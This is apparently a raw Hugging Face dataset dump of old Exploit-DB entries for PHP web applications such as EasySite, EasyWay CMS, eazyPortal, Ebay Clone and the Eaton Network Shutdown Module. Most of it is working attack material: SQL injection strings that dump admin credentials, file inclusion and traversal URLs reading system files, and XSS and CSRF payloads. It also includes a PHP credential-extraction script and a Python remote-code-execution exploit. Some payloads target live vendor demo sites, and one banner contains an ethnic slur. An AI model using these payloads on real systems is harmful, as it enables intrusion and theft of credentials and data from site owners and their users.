deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6288
Description: easysite 2.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-21
Author: SirGod

Exploit:
####################################################################
[+] EasySite v2.3 Multiple Remote Vulnerabilities   
[+] Discovered By SirGod                          
[+] www.mortal-team.org                          
[+] Greetz : E.M.I.N.E.M, Ras ,Puscas_marin ,ToxicBlood,MesSiAH,xZu,HrN
####################################################################

[+] Local File Inclusion

http://localhost/www/index.php?module=Accueil&action=../../../../autoexec.bat%00
http://localhost/modules/Module/index.php?module=../../../../autoexec.bat%00
http://localhost/modules/Module/index.php?ss_module=../../../../autoexec.bat%00
http://localhost/modules/Module/index.php?ss_action=../../../../autoexec.bat%00
http://localhost/modules/Themes/index.php?ss_action=../../../../autoexec.bat%00
http://localhost/modules/Themes/index.php?ss_module=../../../../autoexec.bat%00
http://localhost/modules/Themes/index.php?module=../../../../autoexec.bat%00

And many others...

This will open autoexec.bat

[+] Arbitrary View Folder Contents

You can view the folder contents and the content of files view via LFI.

    http://localhost/www/index.php?module=../../../

    http://localhost/inc/vmenu.php?module=../../../

This will open C:/ directory and will show all the files from C:/ .

Example :

    * BOOTSECT.BAK
    * BcBtRmv.log
    * IO.SYS
    * MSDOS.SYS
    * autoexec.bat
    * bootmgr
    * config.sys
    * grldr
    * hiberfil.sys
    * pagefile.sys

####################################################################

# milw0rm.com [2008-08-21]
Exploit-DB #17705
Description: EasySiteEdit - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-08-21
Author: koskesh jakesh

Exploit:
# Exploit Title: EasySiteEdit remote file include
# Date:2011 
# Author:koskesh jakesh
# Software Link: http://www.easysiteedit.com/licensesystem/esev2versions/esev2.zip 
# Tested on: linux
-------------------------------
vul:sublink.php
line 20: 
include($_REQUEST['langval']);
-------------------------------
poc:
site.com/path/sublink.php?langval=shell.txt?
--------------------------------
thanks:kire rostam,kose zan dait,kose shohar amat
Exploit-DB #33545
Description: Easysitenetwork Jokes Complete Website - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37852/info

EasySiteNetwork Jokes Complete Website is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/Jokes/joke.php?id=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&listtype=1
Exploit-DB #32672
Description: Easysitenetwork Jokes Complete Website - 'joke.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-18
Author: Ehsan_Hp200

Exploit:
source: https://www.securityfocus.com/bid/32908/info

EasySiteNetwork Jokes Complete Website is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/joke.php?id=-1992+union+select+1,concat(login,0x3a,password),3,4,5,6,7,8+from+admin_login--
Exploit-DB #33546
Description: Easysitenetwork Jokes Complete Website - 'searchingred' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37852/info
 
EasySiteNetwork Jokes Complete Website is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/Jokes/results.php?searchingred=<img+src=http://www.example.com/cars.jpg+onload=alert[PII_REDACTED]60)>
Exploit-DB #5948
Description: Easysitenetwork Jokes Complete Website 2.1.3 - 'jokeid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-26
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com ..$<->$.. t3tto0 [at] yahoo.com
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script    :  Jokes Website 
 
<<->> Demo site : www.easysitenetwork.com/sites/jokes


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

 <!> for admin inf0 :: 

   >>>> www.site.me/patch/joke.php?jokeid=-9999999+union+select+0,concat(login,0x3a,password),2,3,4,5,6,7+from+admin_login/*


 <!> for members inf0 ::

   >>>> www.site.me/patch/joke.php?jokeid=-9999999+union+select+0,concat(login,0x3a,password),2,3,4,5,6,7+from+users/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka $ nicehacker $ anaconda-ksa $ sirus $ crazy-x  
                            
                      :: abo-najm $ br1ght-dark $ spid3r-net $ hacker-b0y 

<<->> InjEctOr5 TeaM   


<<->> All muslims

# milw0rm.com [2008-06-26]
Exploit-DB #4960
Description: Easysitenetwork Recipe - 'categoryId' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-22
Author: S@BUN

Exploit:
#########################################################################
#
# Recipes hacking(list.php?pagenum)SQL Injection
#
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
# DORKS 2 : allinurl: " list.php?pagenum"
#
#########################################################################
# EXPLOIT
#
# list.php?pagenum=0&categoryid=1+union+select+111,222,concat_ws(char(58),login,password),444+from+admin_login/*
#

#########################################################################
# S@BUN                 www.hackturkiye.com                    S@BUN
#########################################################################
# S@BUN                      GOOD LUCKY                          S@BUN
#########################################################################

# milw0rm.com [2008-01-22]
Exploit-DB #5840
Description: easyTrade 2.x - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-17
Author: anonymous

Exploit:
######################
#
#easyTrade v2.x SQL Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
#Dork: "powered by easytrade"
#
##
###
##
#
#Script suffers from a not correctly verified detail id variable which is used in SQL Querys.
#An Attacker can easily get sensitive information from the database by
#injecting unexpected SQL Querys.
#
#We dont get any SQL Errors when the Injection Query appear to be false.
#However we have to look for content changing when we inject.
#Look at AND 1=1/AND 1=0
#
#SQL Injection:
#http://[target]/[path]/detail.php?id=[SQL]
#
#PoC:
#detail.php?id=-1%20union%20select%20USER(),2,3,4,5,@@VERSION,7,8,9,10,11,12,13,database(),15,16
#
#######################
#
#Greetz to b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team!
#
#######################
####################### 

# milw0rm.com [2008-06-17]
Exploit-DB #9094
Description: EasyVillaRentalSite - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-09
Author: BazOka-HaCkEr

Exploit:
========================================================

==> EasyVillaRentalSite (id) Remote SQL Injection Vulnerability

========================================================

==> AuThOr : BazOka-HaCkEr

==> EmaiL    : wuo@hotmail.com

==> HomE    :  www.TrYaG.cc/cc

========================================================

==> Product Page :

==> http://easyvillarentalsite.com

==> ExplO!te :

==> show_category.php?Id=-2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,user(),0x3a,database(),0x3a,version())--
 
==> L!ve D3mo :

==> http://easyvillarentalsite.com/demo/show_category.php?Id=-2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,user(),0x3a,database(),0x3a,version())--

=========================================================

==> GreeTz :

==> FeezO , Abu-Mahdi , MoGaTiL , Str0ke , TrYaG TeaM

=========================================================

# milw0rm.com [2009-07-09]
Exploit-DB #5706
Description: EasyWay CMS - 'mid' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-31
Author: Lidloses_Auge

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#           EasyWay CMS - SQL Injection Exploit     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Exploit coded by:            Lidloses_Auge
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   GPM, Free-Hack
#      Date:                        30.05.2008
#      Developer:		    http://www.ta-edv.de/index.php?lg=de&css=1&mid=320&art=1
#
###############################################################
#                                                             
#      Dork:  inurl:"index.php?css=mid=art="
#      Admin Panel: [Target]/cms/
#      Usage: php '.$argv[0].' [Target] [Userid]
#      Example for "http://www.site.com/index.php?css=1&mid=100&art=1"
#      => php '.$argv[0].' http://www.site.com 1
#                                                             
###############################################################
');
if ($argc == 3) {
echo "\nExploiting in progress:";
$url = $argv[1];
$source = file_get_contents($url.'/index.php?mid=null+order+by+100/*');
$errorcount = substr_count($source,'not a valid MySQL');
$sql = '/index.php?mid=null+union+select+';
for ($i = 25; $i>=1; $i--) {
   $source = file_get_contents($url.'/index.php?mid=null+order+by+'.$i.'/*');
   if (substr_count($source,'not a valid MySQL')!=$errorcount) {
      $errorcount2 = $i;
      $i = 1;
   }
}
for ($j=1; $j<$errorcount2; $j++) {
   $sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a),';   
}
$sql = $sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a)+from+cms_benutzer+where+id='.$argv[2].'/*';
$source = file_get_contents($url.$sql);
echo "\n";
if (strpos($source,'::::')!=0) {
   echo 'User: '.substr($source,strpos($source,'::::')+5,strpos($source,'::1::')-strpos($source,'::::')-5)."\n";
   echo 'Hash: '.substr($source,strpos($source,'::1::')+5,strpos($source,'::2::')-strpos($source,'::1::')-5)."\n";
} else {
   echo 'Exploit failed!'."\n";
}
} else {
echo "\nNot enough arguments!\n";
}
?>

# milw0rm.com [2008-05-31]
Exploit-DB #24306
Description: EasyWeb 1.0 FileManager Module - Directory Traversal
Type: webapps
Platform: php
Date: 2004-07-23
Author: sullo@cirt.net

Exploit:
source: https://www.securityfocus.com/bid/10792/info

EasyWeb is prone to a directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data. The issue occurs if a remote attacker sends a request to the 'ew_filemanager' script for a file containing directory traversal character sequences to the application.

EasyWeb FileManager 1.0 RC-1 is prone to this issue.

Update: Conflicting reports suggest that this issue may not be a vulnerability as access to various files can be limited by an EasyWeb administrator. An attacker with valid account credentials may only be able to carry out an attack. This BID will be updated as more information becomes available.

/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc

/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc/&view=passwd
Exploit-DB #30059
Description: Eaton Network Shutdown Module 3.21 - Remote PHP Code Injection
Type: webapps
Platform: php
Date: 2013-12-06
Author: Filip Waeytens

Exploit:
#!/usr/bin/env python
# 
# Quick 'n' Dirty - Metasploit module didn't do it for me
# 2013 - Filip Waeytens - http://www.wsec.be
#
# Usage Example:
##~  $ python eaton.py 192.168.1.9 "net user"
#
#User accounts for \\
#
#-------------------------------------------------------------------------------
#Guest                    LocalAdmin               
#The command completed with one or more errors.
#
# Exploit Title: Eaton shutdown module php eval exploit
# Date: 5 dec2013
# Exploit Author: Filip Waeytens
# Vendor Homepage: powerquality.eaton.com
# Software Link: http://powerquality.eaton.com/Products-services/Power-Management/Software-Drivers/network-shutdown.asp
# Version: 3.21
# Tested on: WIN
#References:
###Exploit Database: 23006
###Secunia Advisory ID: 49103
###Bugtraq ID: 54161
###Related OSVDB ID: 83200 83201
###Packet Storm: http://packetstormsecurity.org/files/118420/Network-Shutdown-Module-3.21-Remote-PHP-Code-Injection.html
#

import httplib
import urllib
import sys
import BeautifulSoup

#### First argument is the target IP - port defaults to 4679

targetip = sys.argv[1]
command = sys.argv[2]
targetport=4679


#### if a command has spaces: put between double quotes, the next lines strip the quotes

if command.startswith('"') and string.endswith('"'):
    command = command[1:-1]

#### build the urL to request
    
baserequest = "/view_list.php?paneStatusListSortBy="
wrappedcommand="${@print(system(\""+command+"\"))}"
ue_command = urllib.quote_plus(wrappedcommand)

#### send request
conn = httplib.HTTPConnection(targetip+":"+str(targetport))
conn.request("GET", baserequest+ue_command)
r1 = conn.getresponse()
#print "Getting answer: "
#print r1.status, r1.reason
#print "sent http://"+targetip+":"+str(targetport)+baserequest+ue_command
data1 = r1.read()


#### extract answer

soup = BeautifulSoup.BeautifulSoup(data1)
for p in soup.findAll("p"):
            #print dir(p)
            #strip first line
            
            result = p.getText().split("Warning")[0]
            print result.replace("Multi-source information on the power devices suppying the protected server","",1)
Exploit-DB #39141
Description: eazyCMS - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-04-09
Author: Renzi

Exploit:
source: https://www.securityfocus.com/bid/66769/info

eazyCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?tab=[SQLI]
Exploit-DB #10921
Description: eazyPortal 1.0.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-02
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 02. January 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: eazyPortal
[#] Version: 1.0.0
[#] Platform: PHP
[#] Homepage: http://www.eazyportal.com/
[#] Vulnerability: Multiple XSRF Vulnerabilities And Persistent XSS
[#-----------------------------------------------------------------------------------------------#]

[#]Content
 |--Change admin password
 |--Add news - Persistent XSS
 |--Remove private message by id
 |--Remove news by id

[*]Change admin password

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://host/" enctype="multipart/form-data" method="post">
  <input type="hidden" name="a" value="profile"/>
  <input type="hidden" name="uname" value="admin"/>
  <input type="hidden" name="uavatar" value=""/>
  <input type="hidden" name="uemail"  value="e@mail.com"/>
  <input type="hidden" name="upwd" value="hacked"/>
  <input type="hidden" name="ucpwd" value="hacked"/>
  <input type="hidden" name="ulocation" value="moon"/>
  <input type="hidden" name="usignature" value="free your mind and the
ass will follow"/>
  <input type="hidden" name="ushowemail" value="0"/>
  <input type="hidden" name="ugmt" value="0"/>
  <input type="hidden" name="ufile"/>
  <input type="image"
src="http://host/tpl/DefaultGreen/img/button_submit.gif"
name="submit"/>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[+]Add news - Persistent XSS

http://host/index.php?a=administrator&p=news&s=add

There we can add new news that can be seen on main page. It is
vulnerable to persistent xss and
attacker can use this to infect website visitors.

[-]Remove private message by id

[POC----------------------------------------------------------------------------------------------]
http://host/index.php?a=private&inbox=&d=[ID]
[POC----------------------------------------------------------------------------------------------]

[-]Remove news by id

[POC----------------------------------------------------------------------------------------------]
http://host/index.php?a=administrator&p=news&del=[ID]
[POC----------------------------------------------------------------------------------------------]

[#] EOF
Exploit-DB #9118
Description: ebay clone 2009 - Cross-Site Scripting / Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-07-10
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] I'm back <3 VB6
==============================================================================
        [Â»] Ebay Clone 2009 Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ Ebay Clone 2009 ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.ebayclonescript.com/  ]
	[Â»] Founder:            [ Moudi or SixSo <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man...]
        [Â»] Team:               [ EvilWay ]
        [Â»] SiteWeb:            [ Visit - www.opensc.ws ]
        [Â»] Price:              [ 99$ ]

###########################################################################

===[ Exploit BLIND SQL ]===	
	
	[Â»] http://www.site.com/patch/category.php?view=list&cate_id=[BLIND]
	[Â»] http://ebayclonescript.com/ebayclone2009/category.php?view=list&cate_id=1+AND%20SUBSTRING(@@version,1,1)=5

===[ Exploit XSS ]===	

        [Â»] http://www.site.com/patch/search.php?mode=[XSS]
	[Â»] http://ebayclonescript.com/ebayclone2009/search.php?mode=%22%3E%3Cscript%3Ealert(0)%3C/script%3E

Note: in this script have some other blind sql and xss , but i am tired to do all :D


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-10]
Exploit-DB #9125
Description: Ebay Clone 2009 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-07-11
Author: MizoZ

Exploit:
----------------------------------------------------------------------------------------------------

Name : Ebay Clone 2009 Multiple SQL Injection Vulnerabilities
Site : http://www.ebayclonescript.com/
Demo : http://ebayclonescript.com/ebayclone2009/

----------------------------------------------------------------------------------------------------


Found By : MizoZ [EvilWay Team]
Made in : Morocco
Contact : mizoz[at]9[dot]cn
Greetz : Moudi , Zuka , All friends


----------------------------------------------------------------------------------------------------

1st , SQL Injection (feedback.php GET(user_id)) :
http://ebayclonescript.com//ebayclone2009/feedback.php?user_id=368+union+select+1,2,3,version(),5,6,7,8--#footer

2nd , SQL Injection (view_full_size.php GET(item_id)) :
http://ebayclonescript.com/ebayclone2009/view_full_size.php?i=1&item_id=-2904+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58--

3th , SQL Injection (classifide_ad.php GET(item_id)) :
http://ebayclonescript.com/ebayclone2009/classifide_ad.php?item_id=-2872+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58--

4th , Blind SQL Injection (crosspromoteitems.php GET(item_id)) :
http://ebayclonescript.com/ebayclone2009/crosspromoteitems.php?item_id=2876+and+1=1--
!=
http://ebayclonescript.com/ebayclone2009/crosspromoteitems.php?item_id=2876+and+1=0--

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-07-11]